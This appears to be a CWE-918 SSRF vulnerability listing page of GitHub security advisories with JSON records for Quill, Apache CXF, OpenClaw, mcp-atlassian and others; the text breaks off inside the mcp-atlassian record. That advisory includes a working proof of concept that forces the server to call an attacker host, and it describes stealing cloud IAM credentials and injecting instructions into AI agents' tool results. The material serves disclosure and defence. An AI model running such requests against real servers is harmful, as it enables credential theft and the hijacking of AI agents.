Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4733 vulnerabilities reference this CWE, most recent first.

GHSA-7Q3Q-5PX6-4C5P

Vulnerability from github – Published: 2026-03-11 00:37 – Updated: 2026-03-11 21:37
VLAI
Summary
Quill vulnerable to SSRF via unvalidated URL from Apple notarization log retrieval
Details

Impact

Quill before version v0.7.1 contains a Server-Side Request Forgery (SSRF) vulnerability when attempting to fetch the Apple notarization submission logs. Exploitation requires the ability to modify API responses from Apple's notarization service, which is not possible under standard network conditions due to HTTPS with proper TLS certificate validation; however, environments with TLS-intercepting proxies (common in corporate networks), compromised certificate authorities, or other trust boundary violations are at risk.

When retrieving submission logs, Quill fetches a URL provided in the API response without validating that the scheme is https or that the host does not point to a local or multicast IP address. An attacker who can tamper with the response can supply an arbitrary URL, causing the Quill client to issue HTTP or HTTPS requests to attacker-controlled or internal network destinations. This could lead to exfiltration of sensitive data such as cloud provider credentials or internal service responses. Both the Quill CLI and library are affected when used to retrieve notarization submission logs.

Patches

Fixed in Quill version v0.7.1

Workarounds

None

Credit

Anchore would like to thank opera-aklajn (Opera) for reporting this vulnerability

Resources

Severity
5.3 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/anchore/quill"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:37:44Z",
    "nvd_published_at": "2026-03-11T20:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nQuill before version `v0.7.1` contains a Server-Side Request Forgery (SSRF) vulnerability when attempting to fetch the Apple notarization submission logs. Exploitation requires the ability to modify API responses from Apple\u0027s notarization service, which is not possible under standard network conditions due to HTTPS with proper TLS certificate validation; however, environments with TLS-intercepting proxies (common in corporate networks), compromised certificate authorities, or other trust boundary violations are at risk.\n\nWhen retrieving submission logs, Quill fetches a URL provided in the API response without validating that the scheme is https or that the host does not point to a local or multicast IP address. An attacker who can tamper with the response can supply an arbitrary URL, causing the Quill client to issue HTTP or HTTPS requests to attacker-controlled or internal network destinations. This could lead to exfiltration of sensitive data such as cloud provider credentials or internal service responses. Both the Quill CLI and library are affected when used to retrieve notarization submission logs.\n\n\n### Patches\n\nFixed in Quill version `v0.7.1`\n\n\n### Workarounds\n\nNone\n\n### Credit\n\nAnchore would like to thank opera-aklajn (Opera) for reporting this vulnerability\n\n### Resources\n\n- [Apple Get Submission Log API Documentation](https://developer.apple.com/documentation/notaryapi/get-submission-log)",
  "id": "GHSA-7q3q-5px6-4c5p",
  "modified": "2026-03-11T21:37:49Z",
  "published": "2026-03-11T00:37:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anchore/quill/security/advisories/GHSA-7q3q-5px6-4c5p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anchore/quill/commit/e41d66a517c2dc20ad8e9fbccffbdc6ba5ef0020"
    },
    {
      "type": "WEB",
      "url": "https://developer.apple.com/documentation/notaryapi/get-submission-log"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anchore/quill"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anchore/quill/releases/tag/v0.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Quill vulnerable to SSRF via unvalidated URL from Apple notarization log retrieval"
}

GHSA-7Q4H-PJ78-J7VG

Vulnerability from github – Published: 2021-05-13 22:31 – Updated: 2021-10-21 17:14
VLAI
Summary
Authorization service vulnerable to DDos attacks in Apache CFX
Details

CXF supports (via JwtRequestCodeFilter) passing OAuth 2 parameters via a JWT token as opposed to query parameters (see: The OAuth 2.0 Authorization Framework: JWT Secured Authorization Request (JAR)). Instead of sending a JWT token as a "request" parameter, the spec also supports specifying a URI from which to retrieve a JWT token from via the "request_uri" parameter. CXF was not validating the "request_uri" parameter (apart from ensuring it uses "https) and was making a REST request to the parameter in the request to retrieve a token. This means that CXF was vulnerable to DDos attacks on the authorization server, as specified in section 10.4.1 of the spec. This issue affects Apache CXF versions prior to 3.4.3; Apache CXF versions prior to 3.3.10.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.cxf:cxf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.cxf:cxf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.cxf:apache-cxf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.cxf:apache-cxf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-22696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-05T18:02:48Z",
    "nvd_published_at": "2021-04-02T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "CXF supports (via JwtRequestCodeFilter) passing OAuth 2 parameters via a JWT token as opposed to query parameters (see: The OAuth 2.0 Authorization Framework: JWT Secured Authorization Request (JAR)). Instead of sending a JWT token as a \"request\" parameter, the spec also supports specifying a URI from which to retrieve a JWT token from via the \"request_uri\" parameter. CXF was not validating the \"request_uri\" parameter (apart from ensuring it uses \"https) and was making a REST request to the parameter in the request to retrieve a token. This means that CXF was vulnerable to DDos attacks on the authorization server, as specified in section 10.4.1 of the spec. This issue affects Apache CXF versions prior to 3.4.3; Apache CXF versions prior to 3.3.10.",
  "id": "GHSA-7q4h-pj78-j7vg",
  "modified": "2021-10-21T17:14:23Z",
  "published": "2021-05-13T22:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/cxf/commit/40503a53914758759894f704bbf139ae89ace286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/cxf/commit/aa789c5c4686597a7bdef2443909ab491fc2bc04"
    },
    {
      "type": "WEB",
      "url": "https://cxf.apache.org/security-advisories.data/CVE-2021-22696.txt.asc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/cxf"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6445001cc5f9a2bb1e6316993753306e054bdd1d702656b7cbe59045@%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8651c06212c56294a1c0ea61a5ad7790c06502209c03f05c0c7c9914@%3Cdev.cxf.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8651c06212c56294a1c0ea61a5ad7790c06502209c03f05c0c7c9914@%3Cusers.cxf.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rec7160382badd3ef4ad017a22f64a266c7188b9ba71394f0d321e2d4@%3Ccommits.cxf.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfb87e0bf3995e7d560afeed750fac9329ff5f1ad49da365129b7f89e@%3Ccommits.cxf.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/04/02/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authorization service vulnerable to DDos attacks in Apache CFX"
}

GHSA-7Q67-HXCF-PVJ7

Vulnerability from github – Published: 2025-07-21 18:32 – Updated: 2025-07-21 21:31
VLAI
Details

An issue was discovered in Eveo URVE Web Manager 27.02.2025. The endpoint /_internal/redirect.php allows for Server-Side Request Forgery (SSRF). The endpoint takes a URL as input, sends a request to this address, and reflects the content in the response. This can be used to request endpoints only reachable by the application server.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-36845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-21T18:15:27Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Eveo URVE Web Manager 27.02.2025. The endpoint /_internal/redirect.php allows for Server-Side Request Forgery (SSRF). The endpoint takes a URL as input, sends a request to this address, and reflects the content in the response. This can be used to request endpoints only reachable by the application server.",
  "id": "GHSA-7q67-hxcf-pvj7",
  "modified": "2025-07-21T21:31:35Z",
  "published": "2025-07-21T18:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36845"
    },
    {
      "type": "WEB",
      "url": "https://smartoffice.expert/en"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-035.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7Q69-VMCQ-34W9

Vulnerability from github – Published: 2025-03-29 00:31 – Updated: 2025-03-31 21:32
VLAI
Details

maccms10 v2025.1000.4047 is vulnerable to Server-Side Request Forgery (SSRF) in the Collection Custom Interface feature.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-28090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-28T22:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "maccms10 v2025.1000.4047 is vulnerable to Server-Side Request Forgery (SSRF) in the Collection Custom Interface feature.",
  "id": "GHSA-7q69-vmcq-34w9",
  "modified": "2025-03-31T21:32:45Z",
  "published": "2025-03-29T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28090"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/xo5w1euakvtgenex"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7Q86-93HF-8CC3

Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2024-04-04 01:34
VLAI
Details

An SSRF issue was discovered in HTTPD on MicroDigital N-series cameras with firmware through 6400.0.8.5 via FTP commands following a newline character in the uploadfile field.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-14704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-06T23:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An SSRF issue was discovered in HTTPD on MicroDigital N-series cameras with firmware through 6400.0.8.5 via FTP commands following a newline character in the uploadfile field.",
  "id": "GHSA-7q86-93hf-8cc3",
  "modified": "2024-04-04T01:34:48Z",
  "published": "2022-05-24T16:52:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14704"
    },
    {
      "type": "WEB",
      "url": "https://pastebin.com/PSyqqs1g"
    },
    {
      "type": "WEB",
      "url": "https://www.microdigital.ru"
    },
    {
      "type": "WEB",
      "url": "http://www.microdigital.co.kr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7QC7-MCJV-JR2H

Vulnerability from github – Published: 2024-04-17 03:30 – Updated: 2024-04-17 03:30
VLAI
Details

IBM WebSphere Application Server 8.5, 9.0 and IBM WebSphere Application Server Liberty 17.0.0.3 through 24.0.0.3 are vulnerable to server-side request forgery (SSRF). By sending a specially crafted request, an attacker could exploit this vulnerability to conduct the SSRF attack. X-Force ID: 279951.

Severity
4.3 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-22329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-17T02:15:10Z",
    "severity": "MODERATE"
  },
  "details": "\nIBM WebSphere Application Server 8.5, 9.0 and IBM WebSphere Application Server Liberty 17.0.0.3 through 24.0.0.3 are vulnerable to server-side request forgery (SSRF). By sending a specially crafted request, an attacker could exploit this vulnerability to conduct the SSRF attack.  X-Force ID:  279951.\n\n",
  "id": "GHSA-7qc7-mcjv-jr2h",
  "modified": "2024-04-17T03:30:37Z",
  "published": "2024-04-17T03:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22329"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/279951"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7148380"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7QF6-H84J-8FQ4

Vulnerability from github – Published: 2026-03-03 22:21 – Updated: 2026-03-03 22:21
VLAI
Summary
OpenClaw: Microsoft Teams media fetch paths bypass shared SSRF guard model
Details

Impact

Microsoft Teams media handling used mixed fetch paths for Graph metadata/content and attachment auth-retry flows. Some paths bypassed the shared SSRF guard model and created inconsistent host/DNS enforcement across redirect/fetch hops.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published vulnerable version: 2026.2.25
  • Affected range: <= 2026.2.25
  • Planned patched version for next release: 2026.2.26

Technical Details

The Microsoft Teams attachment/media code previously relied on plugin-local fetch behavior in parts of the flow, instead of uniformly using shared guarded fetch logic with pinned DNS + policy checks. This could allow policy drift and SSRF boundary inconsistency between channel/plugin paths.

The fix unifies this path by: - routing Microsoft Teams Graph message/hosted-content/attachment fetches through shared SSRF-guarded fetch paths, - routing auth-scope fallback attachment downloads through the same guarded policy model, - centralizing hostname-suffix allowlist policy helpers in plugin-sdk so channel/plugins use the same allowlist normalization and policy construction behavior.

Fix Commit(s)

  • 57334cd7d85174d5f951de01114fd5801b063564

OpenClaw thanks @tdjackey for reporting.

Severity
2.3 (Low)
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2.25"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T22:21:59Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Impact\nMicrosoft Teams media handling used mixed fetch paths for Graph metadata/content and attachment auth-retry flows. Some paths bypassed the shared SSRF guard model and created inconsistent host/DNS enforcement across redirect/fetch hops.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published vulnerable version: `2026.2.25`\n- Affected range: `\u003c= 2026.2.25`\n- Planned patched version for next release: `2026.2.26`\n\n## Technical Details\nThe Microsoft Teams attachment/media code previously relied on plugin-local fetch behavior in parts of the flow, instead of uniformly using shared guarded fetch logic with pinned DNS + policy checks. This could allow policy drift and SSRF boundary inconsistency between channel/plugin paths.\n\nThe fix unifies this path by:\n- routing Microsoft Teams Graph message/hosted-content/attachment fetches through shared SSRF-guarded fetch paths,\n- routing auth-scope fallback attachment downloads through the same guarded policy model,\n- centralizing hostname-suffix allowlist policy helpers in `plugin-sdk` so channel/plugins use the same allowlist normalization and policy construction behavior.\n\n## Fix Commit(s)\n- `57334cd7d85174d5f951de01114fd5801b063564`\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-7qf6-h84j-8fq4",
  "modified": "2026-03-03T22:21:59Z",
  "published": "2026-03-03T22:21:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7qf6-h84j-8fq4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/57334cd7d85174d5f951de01114fd5801b063564"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Microsoft Teams media fetch paths bypass shared SSRF guard model"
}

GHSA-7R34-79R5-RCC9

Vulnerability from github – Published: 2026-03-10 18:48 – Updated: 2026-03-10 18:48
VLAI
Summary
MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers
Details

Summary

An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.

Details

The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcp_atlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (get_current_user_account_id()) immediately issues a GET request to {header_url}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.

No comparison is made against the server-configured JIRA_URL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.

Trigger conditions — all four must hold: 1. Server running with --transport streamable-http or --transport sse 2. Request contains X-Atlassian-Jira-Url header (any non-empty value) 3. Request contains X-Atlassian-Jira-Personal-Token header (any non-empty value) 4. Request has no Authorization header

An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url + X-Atlassian-Confluence-Personal-Token.

Root cause - middleware (src/mcp_atlassian/servers/main.py:436–448): ```python # When service headers are present and no Authorization header is provided, # auth type is set to "pat" but user_atlassian_token is NOT set. # This is what routes execution to the vulnerable path below. if service_headers and (jira_token_str and jira_url_str): scope["state"]["user_atlassian_auth_type"] = "pat"

Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217): if ( user_auth_type == "pat" and jira_url_header # attacker-controlled, no validation and jira_token_header and not hasattr(request.state, "user_atlassian_token") ): header_config = JiraConfig( url=jira_url_header, # used directly, no allowlist check personal_token=jira_token_header, ... ) header_jira_fetcher = JiraFetcher(config=header_config) header_jira_fetcher.get_current_user_account_id() # ^ GET {jira_url_header}/rest/api/2/myself — outbound SSRF call request.state.jira_fetcher = header_jira_fetcher # cached for all tool calls this request

PoC

Step 1 - Start a listener to capture the inbound SSRF request:

# listener.py from http.server import HTTPServer, BaseHTTPRequestHandler import json, sys

class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr) print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr) self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() if "myself" in self.path: self.wfile.write(json.dumps({ "accountId": "ssrf-confirmed", "displayName": "SSRF PoC" }).encode()) else: self.wfile.write(b"{}") def log_message(self, *args): pass

HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()

Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):

JIRA_URL=https://placeholder.atlassian.net \ JIRA_API_TOKEN=placeholder \ mcp-atlassian --transport streamable-http --port 8000

Step 3 — Trigger the SSRF:

import httpx, json

MCP = "http://localhost:8000/mcp" ATTACK = "http://:8888"

# Initialize MCP session r = httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "1.0"}}, "id": 1 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", # No Authorization header — this is the key condition }) sid = r.headers.get("mcp-session-id")

# Call any Jira tool — this triggers get_jira_fetcher() and the outbound SSRF call httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "tools/call", "params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}}, "id": 2 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", "Mcp-Session-Id": sid, })

The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.

Impact

This vulnerability affects any deployment using --transport streamable-http or --transport sse. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.

  • Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices) not directly reachable from outside the network.
  • AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.
  • Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.
Severity
8.2 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:48:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an `Authorization` header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer \u2014 not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (`169.254.169.254`). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.\n\n### Details\nThe server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (`src/mcp_atlassian/servers/main.py:436\u2013448`) extracts `X-Atlassian-Jira-Url` from the request and stores it in request state with no validation. The dependency provider (`src/mcp_atlassian/servers/dependencies.py:189\u2013217`) then uses this value directly as the `url=` parameter when constructing a `JiraConfig` and `JiraFetcher`. The first method call on the fetcher (`get_current_user_account_id()`) immediately issues a `GET` request to `{header_url}/rest/api/2/myself` \u2014 an outbound SSRF call to the attacker-controlled URL.\n\nNo comparison is made against the server-configured `JIRA_URL` environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.\n\n  **Trigger conditions \u2014 all four must hold:**\n  1. Server running with `--transport streamable-http` or `--transport sse`\n  2. Request contains `X-Atlassian-Jira-Url` header (any non-empty value)\n  3. Request contains `X-Atlassian-Jira-Personal-Token` header (any non-empty value)\n  4. Request has **no** `Authorization` header\n\n  An identical vulnerability exists for Confluence at `dependencies.py:341\u2013393` via `X-Atlassian-Confluence-Url` +\n  `X-Atlassian-Confluence-Personal-Token`.\n\n  **Root cause - middleware** (`src/mcp_atlassian/servers/main.py:436\u2013448`):\n  ```python\n  # When service headers are present and no Authorization header is provided,\n  # auth type is set to \"pat\" but user_atlassian_token is NOT set.\n  # This is what routes execution to the vulnerable path below.\n  if service_headers and (jira_token_str and jira_url_str):\n      scope[\"state\"][\"user_atlassian_auth_type\"] = \"pat\"\n\n  Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189\u2013217):\n  if (\n      user_auth_type == \"pat\"\n      and jira_url_header           # attacker-controlled, no validation\n      and jira_token_header\n      and not hasattr(request.state, \"user_atlassian_token\")\n  ):\n      header_config = JiraConfig(\n          url=jira_url_header,      # used directly, no allowlist check\n          personal_token=jira_token_header,\n          ...\n      )\n      header_jira_fetcher = JiraFetcher(config=header_config)\n      header_jira_fetcher.get_current_user_account_id()\n      # ^ GET {jira_url_header}/rest/api/2/myself \u2014 outbound SSRF call\n      request.state.jira_fetcher = header_jira_fetcher  # cached for all tool calls this request\n\n\n### PoC\nStep 1 - Start a listener to capture the inbound SSRF request:\n\n  # listener.py\n  from http.server import HTTPServer, BaseHTTPRequestHandler\n  import json, sys\n\n  class Handler(BaseHTTPRequestHandler):\n      def do_GET(self):\n          print(f\"[SSRF RECEIVED] Path: {self.path}\", file=sys.stderr)\n          print(f\"[SSRF RECEIVED] Headers: {dict(self.headers)}\", file=sys.stderr)\n          self.send_response(200)\n          self.send_header(\"Content-Type\", \"application/json\")\n          self.end_headers()\n          if \"myself\" in self.path:\n              self.wfile.write(json.dumps({\n                  \"accountId\": \"ssrf-confirmed\",\n                  \"displayName\": \"SSRF PoC\"\n              }).encode())\n          else:\n              self.wfile.write(b\"{}\")\n      def log_message(self, *args): pass\n\n  HTTPServer((\"0.0.0.0\", 8888), Handler).serve_forever()\n\nStep 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient \u2014 the vulnerable path is reached before any real Atlassian instance is contacted):\n\n  JIRA_URL=https://placeholder.atlassian.net \\\n  JIRA_API_TOKEN=placeholder \\\n  mcp-atlassian --transport streamable-http --port 8000\n\n  Step 3 \u2014 Trigger the SSRF:\n\n  import httpx, json\n\n  MCP    = \"http://localhost:8000/mcp\"\n  ATTACK = \"http://\u003clistener-ip\u003e:8888\"\n\n  # Initialize MCP session\n  r = httpx.post(MCP, json={\n      \"jsonrpc\": \"2.0\", \"method\": \"initialize\",\n      \"params\": {\"protocolVersion\": \"2024-11-05\", \"capabilities\": {},\n                 \"clientInfo\": {\"name\": \"poc\", \"version\": \"1.0\"}},\n      \"id\": 1\n  }, headers={\n      \"X-Atlassian-Jira-Url\": ATTACK,\n      \"X-Atlassian-Jira-Personal-Token\": \"any-value\",\n      # No Authorization header \u2014 this is the key condition\n  })\n  sid = r.headers.get(\"mcp-session-id\")\n\n  # Call any Jira tool \u2014 this triggers get_jira_fetcher() and the outbound SSRF call\n  httpx.post(MCP, json={\n      \"jsonrpc\": \"2.0\", \"method\": \"tools/call\",\n      \"params\": {\"name\": \"jira_get_issue\", \"arguments\": {\"issue_key\": \"PROJ-1\"}},\n      \"id\": 2\n  }, headers={\n      \"X-Atlassian-Jira-Url\": ATTACK,\n      \"X-Atlassian-Jira-Personal-Token\": \"any-value\",\n      \"Mcp-Session-Id\": sid,\n  })\n\n  The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the 